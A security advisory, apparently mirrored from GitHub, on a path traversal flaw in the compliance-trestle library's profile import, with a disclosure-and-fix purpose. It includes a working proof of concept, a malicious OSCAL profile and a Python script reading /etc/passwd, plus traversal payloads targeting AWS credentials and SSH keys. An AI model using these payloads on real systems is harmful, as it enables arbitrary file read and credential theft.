GHSA-MJ4X-VF5C-5XG8
Vulnerability from github – Published: 2026-05-28 17:37 – Updated: 2026-05-28 17:37Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
2. PT-002: ../../etc/passwd — via relative path in href
3. PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194 — LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104 — Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
2. No is_relative_to(trestle_root) check after resolve
3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}") # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash
Expected: Path traversal blocked with error
Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Remediation
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self._abs_path}' "
f"is outside trestle root '{self._trestle_root}'"
)
self._cached_object_path = self._abs_path
return
Same fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).
Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
-
Credential Theft via OSCAL Import: ```yaml imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id_rsa" ```
-
System Reconnaissance: ```yaml imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ" ```
-
Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
-
Dead Code Evidence:
TRESTLE_HREF_REGEXdefined atconst.py:253but never enforced anywhere — proves path validation was INTENDED but never implemented.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.2"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45774"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:37:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe compliance-trestle library\u0027s profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` \u2014 via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` \u2014 via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 \u2014 LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n # \u274c NO boundary check \u2014 .resolve() follows ../\n # \u274c NO is_relative_to() validation\n # \u274c Result can be /etc/passwd\n self._cached_object_path = self._abs_path\n return\n```\n\n### cache.py:194 \u2014 LocalFetcher (relative path handling)\n\n```python\n # For relative paths (no trestle:// or file:// prefix):\n try:\n self._abs_path = pathlib.Path(uri).resolve()\n # \u274c Same issue \u2014 resolves relative to CWD with no boundary check\n except Exception:\n raise TrestleError(...)\n```\n\n### _import.py:73-104 \u2014 Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n def __init__(self, ...):\n # Line 73-83: back_matter rlinks used directly\n if self._import.href[0] == \u0027#\u0027:\n resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n self._import.href = [\n rlink.href # \u274c rlink.href from OSCAL data \u2014 user-controlled\n for rlink in resource.rlinks\n if rlink.href.endswith(\u0027.json\u0027) or rlink.href.endswith(\u0027.yaml\u0027)\n ][0]\n\n # Line 104: href passed directly to FetcherFactory\n fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `\u0027^trestle://[^/]\u0027` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n metadata:\n title: \"Malicious Profile\"\n version: \"1.0\"\n last-modified: \"2024-01-01T00:00:00+00:00\"\n oscal-version: \"1.0.4\"\n imports:\n - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage \u2014 stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\") # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit \u2014 escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil: {evil._abs_path}\") # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n\n # \u2705 ADD: Boundary check\n if not self._abs_path.is_relative_to(self._trestle_root):\n raise TrestleError(\n f\"Path traversal blocked: resolved path \u0027{self._abs_path}\u0027 \"\n f\"is outside trestle root \u0027{self._trestle_root}\u0027\"\n )\n\n self._cached_object_path = self._abs_path\n return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n ```yaml\n imports:\n - href: \"trestle://../../root/.aws/credentials\"\n - href: \"trestle://../../root/.ssh/id_rsa\"\n ```\n\n2. **System Reconnaissance:**\n ```yaml\n imports:\n - href: \"trestle://../../etc/passwd\"\n - href: \"trestle://../../proc/self/environ\"\n ```\n\n3. **Supply Chain Attack:**\n Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere \u2014 proves path validation was INTENDED but never implemented.",
"id": "GHSA-mj4x-vf5c-5xg8",
"modified": "2026-05-28T17:37:08Z",
"published": "2026-05-28T17:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.